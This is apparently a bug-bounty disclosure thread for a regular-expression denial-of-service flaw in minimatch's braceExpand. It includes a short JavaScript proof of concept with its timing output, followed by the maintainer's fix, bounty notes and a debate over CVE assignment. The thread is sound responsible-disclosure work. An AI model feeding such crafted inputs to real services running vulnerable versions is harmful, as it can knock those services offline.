Inefficient Regular Expression Complexity in isaacs/minimatch

Valid

Reported on

Sep 17th 2021


Description

I would like to report a Regular Expression Denial of Service (ReDoS) vulnerability in minimatch.

It allows cause a denial of service when calling function braceExpand.

The ReDoS vulnerability is mainly due to the regex /\{.*\}/ and can be exploited with the following code.

Proof of Concept

// PoC.js
var minimatch = require("minimatch")

for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = 'a'+'{'.repeat(i*10000)+"b";
    minimatch.braceExpand(attack_str);
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The Output

"attack_str.length: 10002: 112 ms"
"attack_str.length: 20002: 452 ms"
"attack_str.length: 30002: 866 ms"
"attack_str.length: 40002: 1539 ms"
"attack_str.length: 50002: 2402 ms"
"attack_str.length: 60002: 3464 ms"
We created a GitHub Issue asking the maintainers to create a SECURITY.md 8 months ago
Yeting Li modified the report
8 months ago
Yeting Li
8 months ago

Researcher


I am willing to suggest that the maintainers replace the vulnerable regex /\{.*\}/ with the safe regex /\{(?:(?!\{).)*\}/.

Yeting Li
8 months ago

Researcher


Hi @admin, the maintainer’s email address is isaacs i@izs.me

Z-Old
8 months ago

Admin


Hey Yeting, on the advice of our CEO, kindly open a SECURITY.md PR to the repository, including the email(s) that you've found.

Please use this PR as a template.

FYI - the repository itself must explicitly provide a contact method for security issues before we can disclose vulnerability details. The PR will prove write-access and confirms email suggestions.

We're working on a system that will automate a lot of this in the future; bear with us in the meantime!

We have contacted a member of the isaacs/minimatch team and are waiting to hear back 7 months ago
We have sent a second follow up to the isaacs/minimatch team. We will try again in 10 days. 7 months ago
We have sent a third and final follow up to the isaacs/minimatch team. This report is now considered stale. 7 months ago
isaacs
4 months ago

Maintainer


This is only a vulnerability in the braceExpand function specifically.

Applied the existing ReDOS/type protections to all public API functions. Should be good now, in v3.0.5.

isaacs
4 months ago

Maintainer


My recommendation is that this is a fairly low severity vuln, given that the function it affects is not widely used.

isaacs validated this vulnerability 4 months ago
Yeting Li has been awarded the disclosure bounty
The fix bounty is now up for grabs
isaacs confirmed that a fix has been merged on 707e1b 4 months ago
isaacs has been awarded the fix bounty
minimatch.js#L250 has been validated
isaacs
4 months ago

Maintainer


@Yeting Li

Thank you for the suggestion. I did end up using your suggested RegExp since it seems to perform slightly better, even though limiting pattern string length appears to fix the ReDOS all on its own. Would you like credit in some way in the source or copyright? I apologize, I didn't think to ask before pushing the fix.

Yeting Li
4 months ago

Researcher


Hi maintainers @isaacs, I'm glad that you use my suggestion. If it is convenient, you can mention me. Thank you for your quick confirmation and repair.

Bryan English
2 months ago

Hey folks!

This doesn't appear in GitHub Advisories, Snyk, or MITRE. As a result, lots of scanning tools that OSS projects use are missing this entirely, while commercial ones (like Sonatype) have proactively picked it up.

Could the process be initiated to get this into those publicly accessible vulnerability databases?

Jamie Slome
2 months ago

Admin


Hello @bengl - we automatically assign CVEs to most reports on our platform that have been approved and fixed, however, we do not for Inefficient Regular Expression Complexity vulnerabilities.

But, if the maintainer is happy to proceed with a CVE, I will gladly assign and publish it, which will populate MITRE and other vulnerability databases.

@isaacs - are you happy for me to proceed with this?

Bryan English
a month ago

@Jamie this is indicative of a larger ecosystem problem. If some commercial vulnerability scanning tools (like Sonatype) are actively grabbing your data, but it's not present in tools like npm audit, then library maintainers end up getting issues opened on their repositories for vulnerabilities they won't have any visibility into without either paying for a product like Sonatype, or spending time (which might not be plentiful for volunteer projects) to dig around the Internet and finally find that the original report is here on huntr. I had to do exactly that for a library I maintain.

Even if a vulnerability doesn't meet your standards for a CVE, actively making it visible in GitHub Advisories and/or Snyk would certainly reduce a lot of pain in this sort of situation. Alternatively, if huntr provided its own free scanning tool instead, that wouldn't be the most ideal as it would require using multiple scanning tools, but at least there would be an avenue for reducing the probability that we block our users' builds thanks to a Sonatype scan (yes, this happened to us, which is what led me here).

I think the simplest approach here would be to not exclude IREC vulnerabilities (or any other vulnerabilities marked as high-severity) from CVE process, to ensure that freely available vulnerability scanning tools/databases aren't missing data.

Jamie Slome
a month ago

Admin


@Bryan - thanks for your follow on points. I want to point out that this vulnerability was considered as a fairly low severity vuln as mentioned by Isaac above. Since this vulnerability was reported to us, we have improved the controls for maintainers to adjust the severity of the report.

It is important to us that the OSS community gets visibility over the legitimate vulnerabilities reported to us, especially those with significant security impacts. We are constantly iterating on our process to ensure that the maintainer has full control and transparency over the severity and report content. This will hopefully help anyone that uses this information for their own analysis to be able to better consider the severity and impact of the vulnerabilities.

For clarity, I am going to update the reported severity to low, to ensure that anyone that does come across this recognises the impact to be minimal.

to join this conversation